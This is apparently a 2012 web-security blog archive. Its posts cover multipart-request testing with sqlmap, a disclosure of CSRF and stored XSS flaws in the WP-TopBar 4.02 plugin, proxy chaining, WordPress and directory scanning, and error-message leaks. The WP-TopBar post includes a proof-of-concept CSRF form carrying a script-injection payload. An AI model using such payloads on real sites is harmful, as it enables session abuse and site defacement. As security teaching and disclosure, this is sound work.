Monday, December 10, 2012

Attacking Multipart Requests

I was recently in the process of testing a Wordpress Plugin for exploits when I came across a request that I don't see very often.

Here is a snippet:

POST /wordpress/security-services/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------680132334639
Content-Length: 1987

Content-Disposition: form-data; name="user_email"

Content-Disposition: form-data; name="image_file"; filename=""
Content-Type: application/octet-stream


As you can see from the highlighted portion, the Content-Type is "multipart/form-data" with a boundary declared.

RFC 2388 defines the boundary as:

As with other multipart types, a boundary is selected that does not occur in any of the data. Each field of the form is sent, in the order defined by the sending appliction and form, as a part of the multipart stream. Each part identifies the INPUT name within the original form. Each part should be labelled with an appropriate content-type if the media type is known (e.g., inferred from the file extension or operating system typing information) or as "application/octet-stream". 
[Taken from]

   In this case, the boundary is "-----------------------------680132334639" and you can see how it encapsulates every data element that it's transmitting.  Notice that each element has a "Content-Disposition" set to "form-data" and a name describing that element.

   In the second data element, and the primary reason for this particular Content-Type, is the ability to send files along with form data.  The particular plugin allowed for the submission of an image file as shown above.  Notice the "Content-Type" attribute set to "application/octet-stream" and there is a new field to specify the "filename."

More Information:

If the contents of a file are submitted with a form, the file input should be identified by the appropriate content type (e.g., "application/octet-stream"). If multiple files are to be returned as the result of a single form entry, they should be returned as "multipart/mixed" embedded within the "multipart/form-data".
[Taken from]

   Manual attacks for text should be relatively straight forward as you would still be using the same techniques as a standard POST request.  One must identify where the actual data resides, in this case between the boundaries, and after the "name" field.  Your payload then becomes placed within the body between the two boundaries.

Content-Disposition: form-data; name="user"


  This type of request also adds an additional attack vector.  With the file upload capabilities, you can also try to upload a malicious file to see if you can reference it somehow through the application and/or get it to execute.

   In this particular case, I also wanted to try an automated SQL injection attack.  I wanted to know if any of the tools I use support these request.  Luckily sqlmap had just added support for multipart requests.  I tested this out by doing a dump of the output and verified that it automatically detected the type of request I was passing to it (via a file exported from burp), detected the boundary, and then properly attacked the form data I was sending it.

   You could also write a script for customized attacks.  Make sure the script looks at the request, identifies the boundary after the "Content-Type" field looking at whatever "boundary=" is set to and then parse the request for the content between any place where it finds the 'opening' and 'closing' boundaries.

Saturday, September 15, 2012

WP-TopBar 4.02 CSRF and Stored XSS

# Exploit Title: WP-TopBar 4.02 CSRF and Stored XSS
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
   Stored XSS

The message field (wptbbartext variable) of the wp-topbar.php page is vulnerable to Stored Cross-site Scripting.  This variable is only accessible via the admin menu of the plugin. 

The following code is an example:


This code is committed to the database upon submission and will run both under the admin interface when the bar is shown as a preview as well as the front facing page where the bar is set to display.


Since the previous vulnerability requires a logged in user with permission to update this variable in order to execute, an attacker could use Cross Site Request Forgery to trick a logged in user into performing this attack against themselves.

The wp-topbar.php does not utilize a nonce value when submitting any POST changes.  As a result, this page is vulnerable to Cross Site Request Forgery. 

Proof of Concept Code:

<form name="testform" action="https://localhost/wordpress/wp-admin/admin.php?page=wp-topbar.php&action=topbartext&barid=1" method="POST">
        <input type="hidden" name="wptbbartext" value="</script><script>onload=alert(3)</script>">
        <input type="hidden" name="wptblinktext" value="whatever">
        <input type="hidden" name="wptblinkurl" value="">
        <input type="hidden" name="wptblinktarget" value="blank">
        <input type="hidden" name="wptbenableimage" value="false">
        <input type="hidden" name="wptbbarimage" value="">
        <input type="hidden" name="update_wptbSettings" value="Update+Settings">
<script type="text/javascript">

This script takes advantage of a logged in user to submit the required variables needed to update an existing TopBar with the required settings and includes the Stored XSS from above.  In this example it was tested against a wordpress application running on ‘localhost’ and altered a TopBar with the ‘id’ of 1.  This version of WP-TopBar creates a default TopBar with the id of 1 upon installation.  Any subsequent TopBar created has an id incremented.  It can be assumed that a user is more then likely to still have the default TopBar and easily attack it.

# Vulnerability Timeline
2012-09-04 – Vulnerability Reported
2012-09-05 – Developer Acknowledges
2012-09-10 – Developer Issues Fix (v4.03)
2012-09-15 -  Vulnerability Disclosed

Wednesday, August 1, 2012

Chaining Ratproxy and Burp

I got this idea from a SANS Instructor (Justin Searle) in a SEC 542 class.  We didn't go into detail and really we didn't talk about this scenario specifically only that you can chain Ratproxy with another proxy.  When the course ended, I wanted to figure out how to do this.

Why would you want to do this?

Both of these tools are proxies, and are particularly useful to Pen Testers.  They also fill different needs.  The Burp Suite (I'm using the free vers.) is a Java Application created by Dafyyd Stuttard which has an extensive tool set that allows for modifications of GET and POST requests as well as a myriad of automated tools for pen testing a website that I won't cover in this post.  Ratproxy is a command line proxy, written by Michal Zalewski, that passively (or actively depending on arguments) monitors traffic for potential security vulnerabilities.  Alone each tool is highly useful and together would be even better versus running each tool on its own and then rinse and repeat with the other tool.

The Problem:

Both applications really don't have much documentation for doing this either except for maybe a reference to the fact that you can do it.  The order in which you chain these is crucial when you understand how these proxies function.  Ratproxy passively monitors traffic and Burp has the ability to modify that traffic before sending it to the web server hence you want this order so the traffic can be monitored by Ratproxy first and then any modification does not interfere with Ratproxy.

The Solution:

You want to make sure that you set your Browser or other application to the port that Ratproxy is listening on and then set Ratproxy to redirect to the port that Burp is listening on.  The reason for this order is due to functionality as listed above. 

Run Ratproxy:

For this exercise I was using Ratproxy 1.5.8.  Start Ratproxy by running the following command:

ratproxy -p 8081 -P

-p specifies what port Ratproxy should listen on
-P specifies the ip address and port the downstream proxy is listening on (Burp)

Run Burp:

For this exercise I was using Burp  There really isn't much you have to do with this as Burp is already running by default on port 8080.  You can go into the Proxy Options, as shown in the screenshot below, to configure another port or listening interface for Burp.

You should now be able to use both Proxies.

Thursday, June 21, 2012

Auditing Wordpress Blogs

Wordpress appears to be one of the most prevalent blogging platforms out in the wild today as it can be downloaded and installed to any domain as well as being offered as a blogging platform by hosting companies.  I come across it quite a bit during my website audits.  If you are not familiar with this application, this probably isn't the post for you, and you can research it further at

As I'm pen testing a site with Wordpress installed, I have the tendency to do a quick check of the Wordpress vers. and any installed plugins looking for any published exploits or information, but this really presents a challenge.  Wordpress can be tight lipped on what they fix in each new version.  Sites like can be useful but time consuming when iterating your search through each plugin and version to see if there is an exploit.  Finding information in Twitter is great but can be time consuming in trying to build an internal knowledge base of exploits.

Lately I've been playing around with a new tool that is designed specifically for Wordpress blogs.  The tool is called wpscan and is written by ethicalhack3r (  -SEE UPDATE BELOW-

Wpscan is essentially a scanner with a database of exploits against both the standalone Wordpress install as well as Wordpress plugins.  It's available here: and comes pre-installed in Backtrack 5 R1.  I've used it several times and found it to be very easy to use and something I will add to my toolbox.  It's updated often and the tool will pull updates when launched.  I did run into a problem where an update broke my install, and I had to reinstall a package.  All things aside, it is free and useful.

Here is an example of a local path disclosure I found from a Wordpress 3.2.1 Blog:

Scanning took less then a minute.

If you'd like to see a usage video, here is one posted by the creator on YouTube that covers basic functionality.  The command line arguments may slightly differ between versions, but you get the idea (type -h if you need help).

Examples of Features:
- Detection of Vulnerabilities in Wordpress
- Enumeration of installed Plugins
- Detection of Vulnerabilites in Plugins
- Detection and Brute Force Capabilities against Wordpress Accounts

UPDATED INFORMATION: After chatting with one of the Creators the other day, I realized I needed to make a correction and give credit to those who contribute to the ongoing development of WPscan.  Thanks Ryan!  In addition to Ryan Dewhurst (@ethicalhack3r), the following are also on the WPScan Team: Erwan.LR and Gianluca Brindisi  (@gbrindisi).  For a full list of credits and contributors please see

Sunday, May 20, 2012

The Basics Part 2 - Attack of the Hidden Directories

In part 2 of this series, I will talk about externally auditing your website for exposed directories using a tool called Dirbuster.  There are other techniques available including logging into your Webserver and checking out the web root directory, which is also effective and recommended, however you may misread a permission or forget about a link somewhere that cannot be easily found through internal auditing.

So why am I taking the time to write a blog post about this?

Answer: This is a very simple way to see what you're exposing to the internet.  As an Auditor, this is one of the first things I do during my recon against a Client.  The cost here is very low for what you gain.  The tool I'll be discussing, does this for you in an automated fashion. 

Let me give you some examples of what data you can get back from doing this:
- Accidentally exposed directories that were not originally intended to be exposed
- Old functionality/directories long since deprecated, but were forgotten and still left open
- Bad permissions on folders
- Back doors left open by ex-employees/malicious programs/third party plugin

Let me also give you a real world example of something I came across just from doing this.  I was running a Penetration Test against a Client's site, and I ran Dirbuster while I was poking around and doing other research.  One of the directories that was exposed was /forum however I never saw an existence or mention of a forum while browsing their site.  I opened the link and found a landing page to complete a forum install.  I was asked to specify the location of where the MySQL database should be used for the install as well as requesting me to specify what I wanted the Admin Username/Password to be.

Had I been a malicious individual, I would have set up a MySQL database somewhere (most likely on another compromised machine) pointed the install there and specified my own username/password.  I could then essentially run this Company's Forums until they figured out what was going on.  By then I would have posed as an employee of the company and provided malicious links and requested sensitive information all while using the companies own domain to make it look legit.  Convinced yet??

Let's take a quick look at Dirbuster to see how it looks.  Dirbuster runs off of the Java runtime, so you can run it on any major OS (Windows, Linux, OS X)

This is the basic UI:

 The basics are specifying a domain and a list to use for Brute Forcing.  Dirbuster comes with Brute Forcing lists of commonly found/used directory names.  May I suggest that you use the small list as even that will take some time.  Click on "browse" and you'll be taken to the default directory where the lists are included.  You can also specify your own generated lists that are based off of your username generation scheme or other internal scheme to see if you are leaking internal directories.

Once you click "Start", Dirbuster will try to request the directory names from the list specified and display a return code. Note the directories and the return codes for those directories in the results.  Even if you get a 403 Forbidden, deductive reasoning suggests the directory exists and Dirbuster may still try to  recursively go through it to see if it gets a response on sub-directories that may be accessible.  For the novice: This means if you get a "Forbidden" on the Parent Directory, there may still be open sub-directories you can access AND at the very least this tells you the Parent Directory exists because 403 means Forbidden Access meaning it's there and you can't access it as opposed to a 404 Not Found.

Good luck Auditing!

Saturday, April 21, 2012

Error Menace - Follow Up

Remember my last post about information disclosed from error messages?

Not long after I posted that (~1 week),  I was on vacation, and during my traveling I came across two examples of error messages disclosing too much.

Here they are:

#1 - Delta Airlines Touch Screen

I apologize for the blurriness of this photo.  I took this with my cell phone as it was scrolling through the boot up process.  This happened when one of the games I was playing crashed.  I was really surprised to be given this much information about the device.  I could see hardware addresses, running OS and vers, and other information that you can try to view from that picture.  A simple loading screen would've been much better and not disclosed anything.

#2 - Government Website Information Disclosure

I was searching around for things to do in the area and landed upon a Government Website.  Just by clicking on a link, I came across this error.  Some of the information has been redacted, but you still will get a good idea of what's going on.  Some information I found:

  • Hints about the running Operating System (Windows)
  • The type and version of the Web Server (Apache)
  • UNC path that discloses shared directories
  • Several function calls 
  • OS directories
If you find anything I've missed, feel free to comment or contact me, and I'll add it here.

Note: I contacted the Website Admin shortly after arriving home, and received a quick response saying they fixed it.  

Wednesday, April 4, 2012

The Basics - Part 1 - The Error Menace

While I think Website Penetration Testers will always be needed, I think there are some basic security measures that Web Developers can take to secure their sites.  These measures don’t guarantee your site is 100% secure (then again nothing does), but they may deter hackers from spending time on your site.

Think of a robber who wanders around a neighborhood looking for houses to break in.  Can they try to disable your alarm? Sure! Can they climb that tree, get access to your roof, and go in through a bedroom window? Sure! Those methods, however, also take time and some work.  The easiest target would be one whose downstairs door is unlocked. 

Now think of your website as a home.  Have you taken basic precautions to prevent users from breaking in?  When your customers ask, are you able to tell them that you integrate security measures into your development methods to block out the “low hanging fruit” so to speak?
In Part 1 of this series, let’s take a look at one of the easy things you can do to help protect yourself…..

#1 - Error Handling:

Attackers can glean very valuable information just by trying to break your site.  What types of information you might ask?  Well as a Developer, think of the types of exceptions you’ve seen.  Those exceptions give you insight into what happened in the application.  It may point to what broke.   It helps you to go to the source of the problem and fix it.  What if an attacker finds it first though? What information could they get?


DATABASE ERROR: Duplicate entry ‘0-2’ for key PRIMARY
INSERT INTO ‘ot_term_relationships’ (‘term_taxonomy_id’, ‘object_id’) VALUES (‘2’, ‘0’)

This code was returned as part of a more recent Wordpress exploit.  Take a look at the error message.  As an attacker, this tells me a lot.  Let’s take a look at what we know even if you think it’s obvious:
  •     I know there is a database
  •     I know that database is online
  •     I know there is table named ‘ot_term_relationships’
  •     I know that table has at least two columns called ‘term_taxonomy_id’ and ‘object_id’
  •     I know they both accept numbers
  •     I know there is already a record with a value of 2 in the ‘term_taxonomy_id’ and  a 0 in ‘object_id’

I was able to get this all because of an error message.  Now I know a little more about your site and how’s it organized.

 Example #2 – Login Page:

What just happened there?  Did you notice the difference in error handling?  In the first case I typed in both an invalid username and invalid password.  As an attacker, I try to create a baseline.  I’ll type in something I’m almost sure won’t exist to see what the application does and what it gives me.  In the first case, the application did what it should have.  The error didn’t tell me what was invalid only that the complete package of the username and password didn’t work.

Now it’s time to get serious.  Most applications have some type of root/admin account.  Look what happened when I typed in the admin account.  I got an error telling me I have an invalid password.  Now I can infer that the account is valid, and I just need the right password.  Now I can start enumerating this form looking for valid users because I know what the response should be.

Take a look at your login page and error handling.  Does it give away too much? Don’t just look at the code returned, but look at the URI as well.

See you next time for part 2…

UPDATE: Check out the follow up article showing examples of error disclosures including a Government Site I came across. Link